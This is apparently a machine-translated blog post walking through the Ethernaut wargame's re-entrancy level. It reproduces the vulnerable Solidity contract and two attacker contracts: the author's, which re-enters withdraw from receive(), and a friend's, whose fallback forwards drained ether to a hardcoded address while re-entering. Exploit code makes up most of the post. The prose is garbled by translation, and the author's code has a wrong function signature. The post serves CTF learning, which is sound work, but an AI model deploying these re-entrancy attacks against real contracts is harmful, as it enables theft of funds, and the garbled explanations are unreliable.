Ethernaut 10


level 10 : Re-entrancy

ソリディティの弱点で有名な再攻撃だ.
ここは説明がうまい.
https://medium.com/proofer-tech/%EC%8A%A4%EB%A7%88%ED%8A%B8-%EC%BB%A8%ED%8A%B8%EB%9E%99%ED%8A%B8-%EB%B3%B4%EC%95%88-%EC%9D%B4%EC%8A%88-1-re-entrancy-%EC%9E%AC%EC%A7%84%EC%9E%85%EC%84%B1-7d4caf24803c
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
抽出関数には弱点がある.call経由でetherで送金するアドレスがCAであれば、再侵入攻撃が可能です.
まず会議の運営状況を確認したいです.

その関数に因子を加えるとsendTransactionはダメです.ㄲㄲ
Remixで直接コードの作成を開始
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.4;

contract reentrancy {

  bool public checkVar;
  bool public attack;
  address public owner;
  address public hogu;
  
  constructor() public payable {
      owner = msg.sender;
  }
  
  function callDonate(address ct, uint amount) public {
      (bool check, ) = ct.call{value: amount}(abi.encodeWithSignature("donate(address)", address(this)));
      checkVar = check;
  }
  
  function callWith(address ct, uint amount) public {
      hogu = ct;
      (bool check, ) = ct.call(abi.encodeWithSignature("withdraw(uint)", amount));
      checkVar = check;
  }
  
  receive() external payable {
      (bool check, ) = hogu.call(abi.encodeWithSignature("withdraw(uint)", 10000000000000));
      attack = check;
  }
  
  function kill() public {
      selfdestruct(msg.sender);
  }
}
callDonate:denateを呼び出して残高を作成する
callWith:detallコールお金を出して
receive:再攻撃
kill:輪郭の削除
そう言えば、お金はよく寄付されていますが、電話をかけてもお金はもらえません(残高は0、attach:false、残高:1、checkVal:true).callwithトランザクションはよく送信されましたが、結果的に起動していないようです.amountにether値を記入して、単位はWeだと思っていましたが、そうではありません.ドアを通らなかったら?
あるいはreceiveコードには大体お金が書かれていますが、wei単位なので、値段が小さすぎるかもしれません.△攻撃はしていないが、お金をあげるべきだった.
関連部分を修正しても意味がなく、受信は問題のようです.お金を送りましたが、運行状況から見ると、他に問題があるようです...
いいえ、instancedrafth関数から直接食べられました.子供の頃、ゲーム機の貴重な100元が詰まっていたような感じです.18イードで始まった初期資本は6イードに転落した.賭博の危険性
友達のコード
pragma solidity ^0.6.0;

contract Re_enter {
  address mine=0xf6b6Fd7cc9b1928dBd302055FeAA3120CAec80A1;
  address src;
  address target;
  uint public money;
  bool public suc_donation;
  bool public suc_balance;
  bool public suc_withdrawing;
  bool public suc_fall;
  bytes public balance;
    
 address payable owner;
  constructor() public payable{
      owner=msg.sender;
      money=msg.value;
  }
    function setting(address _src,address _target) public{
        src=_src;
        target=_target;
    }
    function donation() public payable{
        (bool success, bytes memory data)=target.call{value: money}(abi.encodeWithSignature("donate(address)",src));
        suc_donation=success;
    }
    
    function balanceof() public{
        (bool success, bytes memory data)=target.call(abi.encodeWithSignature("balanceOf(address)",src));
        suc_balance=success;
        balance=data;
    }
    
    function withdrawing() public payable{
        (bool success, bytes memory data)=target.call{value: 0}(abi.encodeWithSignature("withdraw(uint256)",1000000000000000000));
        suc_withdrawing=success;
    }
    
    fallback() external payable {
      (bool result,) = mine.call.value(msg.value)("");
     (bool success, bytes memory data)=target.call(abi.encodeWithSignature("withdraw(uint256)",3000000000000000000));
     suc_fall=success;
    }
    
    function kill () public payable {
        require(msg.sender == owner);
        selfdestruct(owner);
    }
}
注意したいのは、5を多く出して、0.1の単位を多く出して、回数が多すぎて、攻撃することができません